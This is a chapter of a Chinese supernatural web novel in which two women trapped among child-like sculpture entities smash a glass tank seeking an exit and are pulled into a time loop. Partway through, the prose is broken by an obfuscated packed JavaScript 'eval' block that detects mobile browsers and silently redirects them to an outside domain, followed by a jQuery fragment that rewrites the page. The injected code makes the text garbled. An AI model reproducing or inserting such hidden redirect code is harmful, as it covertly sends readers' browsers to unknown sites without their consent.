有的时候,步眠是真心觉得,异端有些奇怪。
虽然她见过的异端并不多,只见过一个不会说话身形和人很像,但是有自己的思想,会在发现同伴和自己都不够的情况下,生长更大的异端会把自己篮子中的人头果实给对方。
而面前的雕塑,则更像是一个孩子。
它们会玩耍会同仇敌忾的逼死人类,但是会因为担心自己的朋友,把人类带上来可能接触到真相的地方。
更甚至,它们所有的情绪和看法,其实都可以得到孩童思维的解答。
如果不是因为水汽担心自己的朋友,步眠是没有机会趁虚而入的。
“来,说说,你们要怎么样才可以通关,怎么样才能放我们走,或者,在山洪来临的时候,我们有没有能够逃离的办法?”
一秒,两秒,感知好像被拉长,正是因为知道每个问题的重要程度,在场的几人都不自觉的屏住呼吸,眼睛一眨不眨的看着水汽。
水汽身上不知道什么时候也生长出了一层薄薄的冰霜,也许是山上的温度更低,但冰霜形成的条件,是体内拥有液体,水汽现在看起来还是干燥的状态,难道说,诞生在巨大的液体中,身体也会不自觉的分泌出液体吗?
步眠耐心的等待着,直到水汽哇的一声,爆发出惊天的哭泣声,“呜呜哇哇——”
和云朵那有些压抑像是小鬼吚吚呜呜诡异的声音不一样,水汽像是一个真正的孩子一样,爆发出的哭声也是惊天动地的,步眠甚至觉得,自己脚底下的土地也跟着这巨大的声音颤抖了一下。
步眠:“……”
她没见过小孩哭泣,相处的都是和舟凝安那样有自己思维的人,虽然说有的时候有些拧巴和别扭,但至少不会哭的这么难听扰人心绪。
步眠一激灵,“你干什么,小孩哭我是可以理解的,你现在哭什么?”
兰微渺揉了揉有些抽痛的眉心,她心道之前步眠不还用孩子来形容这些雕塑吗,怎么到了现在,就不承认对方是孩子了。
当然这一点兰微渺不会说出来的,四处虽然偶尔有冰霜树在风的作用下落下点点冰霜来,安静的有些渗人,好在没什么危险。
步眠被吓到了,原本还说对方不该哭的人,只能手忙脚乱的开始哄这个雕塑,“别哭啊,好好说话怎么就哭了,对不起。”
兰微渺忍不住嘴角微微上扬,也许步眠自己并没有意识到,她并没有自己说的那么铁石心肠,而哭泣的确是一个最好的办法。
她走到蛛丝网连接碎裂而成的玻璃那,她抬起头,裂纹很满。
兰微渺想到了一些不太好的故事。
人在死的时候没有断气埋在棺材中的时候,会不停地抓挠着棺材板想要出去,直到手指都被磨破皮,仔细一看,才发现上面密密麻麻的血痕。
这委实不是什么好故事,好在岚观流行火葬,不会发生这么恐惧的事情。
而这些裂纹,让她想到了在棺材板中痛苦抓挠的人。
是什么样的情况,才会让这些雕塑,不停地痛苦抓挠呢?
兰微渺的手无意识的放在了裂纹处,几乎是在触碰到的瞬间,那脆弱的玻璃就很轻的往里面凹陷了一下,发出了清脆碰撞的声响。
她没敢再伸手,双手垂在了身侧,一只手很轻的发着抖。
如果不是自己的力度足够轻,但凡用力一些,就会让这些液体出来。
那些液体是雕塑诞生的地方,鬼知道那是什么有没有毒,会不会让人体受到伤害,又到底是不是一直以来的在自己脚底下蔓延的液体。
她想的出神,才发现水汽不知道什么时候,摔进了巨大的液体中,气泡从雕塑身体不停地蔓延着,
兰微渺的心脏陡然一跳,下意识的看向元平雅,她着急的上前几步,但是不知道要怎么要才能把人捞出来。
步眠站在巨大的管子楼梯上,表情有些心虚,“我真不是故意的,我没站稳,我寻思着它应该更牢固一些,就让它掉下去了?”
只见原本它有些生长的白色墙面在里面像是被腐蚀一样,原本的就长出的晶体在一瞬间就席卷了满身,看起来可怖极了。
雕塑没有动作,甚至不能够大幅度的挣扎,只能缓缓的沉溺下去,不停地伸出手,僵硬缓慢的砸着玻璃。
“你们,在这里做什么?”
骤然间,一道低低的声音响起。
突然出现的声音吓了所有人一跳,步眠低头看去,看见那个和植物共生的雕塑,身后还跟着一个妇女,是进来第一天见到的红姐。
红姐此刻面容带着怒火,她问:“你们在这里做什么,这个点不去睡觉,不给孩子带头,那那些孩子要怎么样才能好好睡?”
元平雅指了指巨大的玻璃器皿,甚至都不用开口言说,就听见一声剧烈的尖叫声,妇女满脸震惊的看着玻璃器皿中的水汽和只剩下一个头的冰块,差点两眼一翻昏睡过去。
步眠不知道什么时候走到了兰微渺的身侧,她用只有两个人的声音开口说道:“我当时上去的时候,看见了一个人影走过,不是红姐。”
“人?”
要问现在还有谁没有出现,那就只有玻璃的监护人。
似乎从进来到现在,玻璃的监护人一直是空旷的状态。
“我有一个法子,兰长官要不要和我一起冒险?”
兰微渺看着步眠跃跃欲试的双眼,有些无奈,“你这是在询问我的意见?”
“当然,只是不采纳而已。”
步眠笑的十分灿烂,她高高举起自己手上的大砍刀,毫不犹豫的将刀背直直的撞上碎裂的一面,脆弱的玻璃在瞬间留下倾盆大水!
红姐被这样的变故吓了一跳,她忙不迭的带着玻璃四处躲藏,但是水流太大了,没多久,她头皮上的头发就在水流中遗失,露出她因为瘙痒而不停挠破又愈合的伤害。
步眠和兰微渺一前一后拉着元平雅上前,即使知道对方并非人类,但她们并不能眼睁睁的看着元平雅被冲走。
至少,在元平雅自己的认知中,自己还是一个人类。
“发生什么了?”元平雅虽然慌乱手脚发软,但并不会给人造成麻烦,她努力协调自己的步伐,跟上两人的脚步。
两人三步并做两步,走上了液体的高台。
说来也怪,这个台子十分稳固,在液体的冲洗下没有丝毫的晃动。
大水哗啦啦的下去,而她们也就等待着。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781596|169863||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“可惜了。”步眠突然开口:“我和云朵说好了,明天玩丢手绢的。”
兰微渺:“她不是说除了丢手绢都可以吗?”
步眠:“我和她说,我第一个把手绢丢给她,她就同意了。”
说起来,能想到这个,还是因为阮意竹被麻醉后,她当时神志不清,说了一句,不喜欢玩丢手绢,因为没有人把手绢丢给她,步眠试了一下,没想到云朵真的是因为这个,才不玩丢手绢的。
两人不约而同跳过了这个话题,毕竟再往后一点,就是兰微渺把人丢进魇里的事情了,“怎么想到这个法子。”
“我在想,既然液体淹没会让雕塑重新诞生,在它们重新塑造的时候,我们站在不会被淹没的地方,会不会是通道,会不会有机会出去。”
毕竟,下一次可就没有这么好运,可以逃离雕塑们的视线来到这个地方。
兰微渺无声地笑了笑,下巴微抬,指了指那个还剩下一个脑袋的冰块,问:“你要把它丢进水里吗?”
步眠疑惑地看了她一眼,“它是个憎恶人类、让人自杀叫的最凶的那个雕塑,我看起来像是一个圣母玛利亚吗?”
“即使它可能会因为这次不进轮回,彻底失去性命?”
“即使它会彻底的死亡,给我潜在的危险递出一把可能会伤害到我的刀,那是对我自己的不尊敬。”
兰微渺和步眠的思想完全同步,她紧绷的肩膀微松,“你是不知道,我之前在八区的时候,带一个刚入管理局的男生入魇,遇见事情他就跑到我的身后不说,还怜悯魇经常饿肚子……我真是。”
“真是脑子有泡。”步眠补充了下一句。
“你不记得你入狱是为什么,但是记得你的养母没有教你岚观民谣,对于你的记忆,你大概记得什么?”
步眠将心口处有些发黄的照片拿出来,她叹了口气,“其实我记得的有些模模糊糊,比如我记得我妈曾经抱过我,记得一些短暂的事情,不过大部分常理都在我的脑子中,好歹不是一个傻子。”
两人絮絮叨叨说了一些家常话,元平雅的情绪大起大落之后,只觉得疲倦,不知道往什么地方才算是安全,或许是放弃了,索性靠在靠在杆子上深深的睡下。
水流基本上已经顺着坡度下去了,也许是为了让雕塑更好的重新诞生,这个坡度可以更快的下去。
“跳下去吗?”
按照步眠的猜想,也许这个会阻止雕塑重新诞生的地方,就是可以回到现实的通道,当然了,这些只是猜想,能不能够做到,还是得自己下去看一下的。
“下去看看。”
兰微渺先一步下去,迅速地问住了稳住了自己的身体,然后抬起身,用眼神询问是否需要下来。
但步眠的眼神变了,“快上来!”
兰微渺不明所以,她低头一看,才发现那些原本已经空荡荡的地方,在一瞬间又重新的聚起水洼,很轻的一眨眼,原本已经七零八落的玻璃却在慢慢的往回长。
像是回放那样,玻璃慢慢的黏合住,几乎是眨眼的一瞬间,原本的场景在瞬间复原,冰块只剩下的一个脑袋不见了,而兰微渺被封锁在了原地。
她们被这个场景,拉入了循环。